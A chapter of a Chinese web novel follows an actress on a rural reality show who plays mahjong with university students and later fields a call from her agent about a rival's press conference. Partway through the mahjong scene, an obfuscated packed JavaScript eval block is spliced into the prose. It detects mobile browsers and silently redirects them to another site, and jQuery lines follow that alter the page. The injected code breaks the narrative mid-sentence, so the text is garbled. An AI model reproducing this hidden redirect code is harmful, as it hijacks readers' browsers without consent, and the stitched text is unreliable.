和大学生们交往聊天比和娱乐圈的那些老油子简单多了,谢临晚不想回节目组看那些碍眼的人,索性晚上邀约了薛述和她学姐一起吃晚饭。
薛述的学姐见漂亮的校外学姐要请自己吃饭,立马就把男朋友甩到一边,一口就答应了下来。
聊天的时候说了起来,谢临晚知道这次来测绘的学生除了薛述以外都是西大的研究生。
“我要下半年才读研。”薛述的学姐叫刘思瑶,晚饭三个女生一拍即合,坐着薛述开的拖拉机去镇上吃串串。
其间聊了起来,谢临晚感到奇怪,怎么就只有薛述一个本科生。
刘思瑶就笑,说薛述点背,“我们导儿是小薛本科必修课的老师,她挂科挂得比较奇葩,让我们导儿念念不忘,这次听说她会开拖拉机,就被抓过来当壮丁了。”
薛述闷着头吃串串,不吱声。
从口味上看,应该是个无肉不欢的人,吃麻辣牛肉都是十串二十串的吃,小米辣更是一勺一勺地往碗里放。
谢临晚单看薛述这张脸,真看不出来对方还会挂科,毕竟薛述的这种长相,标配就是学霸,于是好奇地问刘思瑶,“她怎么挂的?”
刘思瑶看了眼薛述,意思让对方自己讲。
后者沉默了两秒后,抬起头来慢吞吞道,“我们学校的必修课需要自己去校内网上勾选报名,那门我没有报上名,等到考试的时候才发现没我名字。”
所以必修课她得分为0。
“没报上名?”谢临晚更不明白了,“你报没报上名都没发现吗?”
这人看起来也不是那么迷糊的样子。
薛述表情空洞:“没发现,因为整个班都一起上,我就以为我也报上了。”
然后上了一个学期,到考试的时候才发现自己压根没把名报上。
想到这里,薛述心里就发苦。
天知道那一学期她上那一门必修课的时候多开心,每次逃课老师都没有点到她的名。
她还以为自己被幸运女神眷顾了,合着名单上压根儿就没有她的名字。
谢临晚:“……”
谢临晚:“…难怪你老师会对你记忆深刻。”
刘思瑶一直笑呵呵的,是个性格很好的女生,还安慰薛述,“没事的,学妹,等你大四的时候就考我们导儿的研究生,到时候我还能做你一年的师姐,我们天天一起玩儿。”
薛述不说话,沉默着吃着串,看样子有点悲伤。
刘思瑶安慰完薛述之后,转头又问谢临晚,“学姐晚上啥安排?”
谢临晚没跟对方说自己是糊咖演员的事,她挺喜欢这样普通人的生活,就道:“没安排。”
今天她把那位男主持给得罪狠了,按照对方那小心眼儿的性格,后面应该会让导演把她的镜头全挪到早上去。
“那咱们打麻将吧,正好我男朋友在镇上,嘿嘿,不缺人了。”刘思瑶一脸兴奋道。
谢临晚还没有来得及说话,冷不丁地就听见一直闷着,好像对什么都无所谓的薛述开口道,“好!”
…听那语气,还挺斩钉截铁的。
谢临晚没玩过麻将,怕坏了他们的兴致,就摆手说自己不会,结果薛述立马对她道,“我教你。”
上一次对她这么热情还是拖拉机拉她去节目组,说收她十块钱的时候。
谢临晚:“……”
你除了打麻将和打游戏差人以外,平时好像都不怎么理我。
说到麻将,生怕三缺一了的薛述话都多了起来,还开玩笑对谢临晚道,“很简单,你只要会点炮就可以了。”
谢临晚不说话了,看在对方帮她抓了大鹅的份上,最后勉为其难地答应了下来。
吃完饭,刘思瑶摇来了自己男朋友,四个人一前一后地在镇上找了个茶馆,要了包间开始打牌。
刘思瑶的男朋友有点意外谢临晚的美貌,见面的时候愣了一下说,“学姐你好像明星啊。”
谢临晚淡淡道,“好多人都这么说过。”
薛述数了扑克牌过来,跟谢临晚讲了一下打牌的规则,正好打了个岔,“我们打一块钱,输完一百就不给钱了,自摸加翻,四番封顶,杠了两块,巴杠一块。”
谢临晚心想这就是大学生吗?照这个打法,打一晚上输赢也最多一百块,钱全让茶馆老板赚了。
亏她那会儿路上还看了余额,准备了一万来打牌。
不过她也没说什么,本来就是玩个乐子,真玩儿大了那就搞赌了。
“行。”
问清楚胡牌的规则之后四人坐下开打。
谢临晚是个做事比较较真的人,头几把都在摸规则,基本没怎么说话。
但场子上另外三个人关系比较好,一直聊天说八卦,刚打了一圈刘思瑶就对他们道,“我跟你们说,导儿昨天打麻将又输钱了,他上来就被一师兄自摸了三把清一色大对加两杠,一下就输了五六十,给他输急眼了。”
薛述这个时候话挺多的,“啊,他又输了?难怪今天我们测量数据的时候他说他要戒赌。”
“哈哈哈哈哈哈哈哈哈哈哈他手真的好霉,一个多小时一百块钱就输完了,输了之后又不下桌子,打电话把师娘叫来帮忙,哦呦,师娘来了一样输,他打得又不好,还要指挥师娘怎么打……”
正说着,谢临晚冷不丁道,“胡了。”
场面一静,聊得正在兴头上的刘思瑶转头看着谢临晚,“…这么快就胡了?学姐,诈胡的话要赔三家哦。”
谢临晚点头,很确定,“嗯,胡了。”
刘思瑶不相信谢临晚的手气这么好,让薛述过去看一眼,薛述兴冲冲地凑过来一看,然后沉默了:“……”
刘思瑶问她,“你不说话是什么意思?”
“意思就是咱们三家一人十九块没跑掉。”薛述站在谢临晚背后呆若木鸡道。
可恶!
趁她们聊八卦的时候偷偷胡牌!
刘思瑶的男友怪叫一声,耍宝似的问谢临晚,“不是,学姐,你扮猪吃老虎啊?”
谢临晚非常享受这种感觉,嘴角一翘,云淡风轻地说道,“运气好。”
三人嘻嘻哈哈地继续打,也不在意自己输了多少。
但过了四十多分钟后,刘思瑶忍不了。
看着自己抽屉里头只剩了两块的本钱,扭头怀疑地问谢临晚,“晚姐,你真的第一次打牌??”
谁家新手上场一个小时就一串三??
薛述也好不到哪去,她本钱早在上两把就输光了,而此刻堂子上的牌都要摸完了,她还没有听牌,于是也跟着苦笑,“我新手的时候运气怎么没这么好?”
刘思瑶的男友水平要好点,但也只剩了十块钱,问谢临晚:“姐,你去澳门培训过吗?”
谢临晚今天晚上的心情非常好,这半个月受的窝囊气终于吐出来了点,但面上还是很内敛地问她们,“你们难道不算牌吗?”
“咋算?”
“啊?”
“啥牌?”
谢临晚慢悠悠地指了下刘思瑶的牌,“你胡四七条,手上三个幺鸡。”
又指她男友,“你在做隆七对。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029097|194496||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>最后指了指薛述,“你牌打得有点乱,应该还没听牌。”
“……”
“……”
“……”
三个菜鸟,你看看我,我看看你,然后抱拳问谢临晚,“敢问大哥何方神圣?”
谢临晚笑着接了这个梗,“鄙人,张麻子。”
笑完又说,“我们金融要学数学做模型,为了好玩,大学的时候跟着数学系的学姐学长浅学了下牌桌的算法,还好没忘完。”
三个菜鸟沉默着互相打气,发誓要用出神入化的牌技找回工科的尊严!
最后凌晨两点,赢了三家钱满载而归的谢临晚笑着跟她们摆手说再见。
薛述输到后面输得已经心态放平了,说还好本钱就一百块,不然她这个月生活费都得搭进去。
谢临晚住在村里节目组租的房子里,这么晚回去肯定要打扰到别人,就想着在镇上开间房将就一晚。
薛述陪着她一起上招待所。
吃过一次饭,打过一次牌之后,两个人的关系熟络了一点。
去招待所的路上谢临晚还说了自己拍过的戏,让薛述空了的话可以去看看。
薛述说行。
进了招待所,谢临晚去开房,薛述站在那儿发呆。
前台的大妈以为她俩是对小情侣,说大床房没了,标间行不?
“站门口那姑娘,你身份证拿过来一下。”大妈招呼道,“我们都是正规招待所,办理入住,是几个人就得几个身份证。”
薛述摇头,“我不入住。”
谢临晚把自己的身份证递了过去,“姐,就我一个人入住。”
大妈笑呵呵的,为自己的误解感到了抱歉,就夸谢临晚道,“哎哟姑娘你长得俊,名字也好听。”
开好房,谢临晚问薛述,“你住的地方在哪?我送你过去?”
这大晚上的,小姑娘一个人过去多不安全啊。
“不了,就在隔壁条街,派出所旁边。”薛述摆了摆手,“你早点休息吧,送来送去怪麻烦的,我走了。”
说着就朝门外走去,一点也没留恋。
***
谢临晚喝得迷迷糊糊,最后在阳台的躺椅上睡了一晚上,第二天早上起来的时候,不知道是不是因为吹了风的缘故,有点头昏脑胀。
洗了个澡,好不容易清醒了一点。
打开手机就看到两个未接来电,全是经纪人圆姐打来的。
谢临晚回了电话过去,对方一接通就道,“黄之霆要开记者会了,今天早上在机场娱记把他给堵了,问他怎么看你跟同性结婚的事?
这老油子居然来了句‘未知全貌,不予评价,一切尊重你的选择’,说得似是而非,搞得好像他是受害者一样,现在别人都说你绿了他。”
圆姐语气不太好,有点生气,“公关部那边我已经跟他们打了招呼,把这事的热度往下降一降。我也跟罗总说了这事,让他想想办法跟黄之霆的老板通一下气,问问这黄之霆怎么跟狗一样咬着你不放啊!”
谢临晚听明白了,“他要开记者会就开,我跟他没关系。”
圆姐心定了,其实她打这个电话无非就是想再试探一下谢临晚。
干他们这一行的真的属于高危行业,经常被自己手底下的艺人骗,现在听谢临晚这么说之后她就道:“行,看他到时候能开出个什么花来。”
说完顿了下,“还有就是公关部那边的意思是看你这边能不能给一张你跟你老婆的合照?背影也行。”
谢临晚静了一下,“好,我晚点发你。”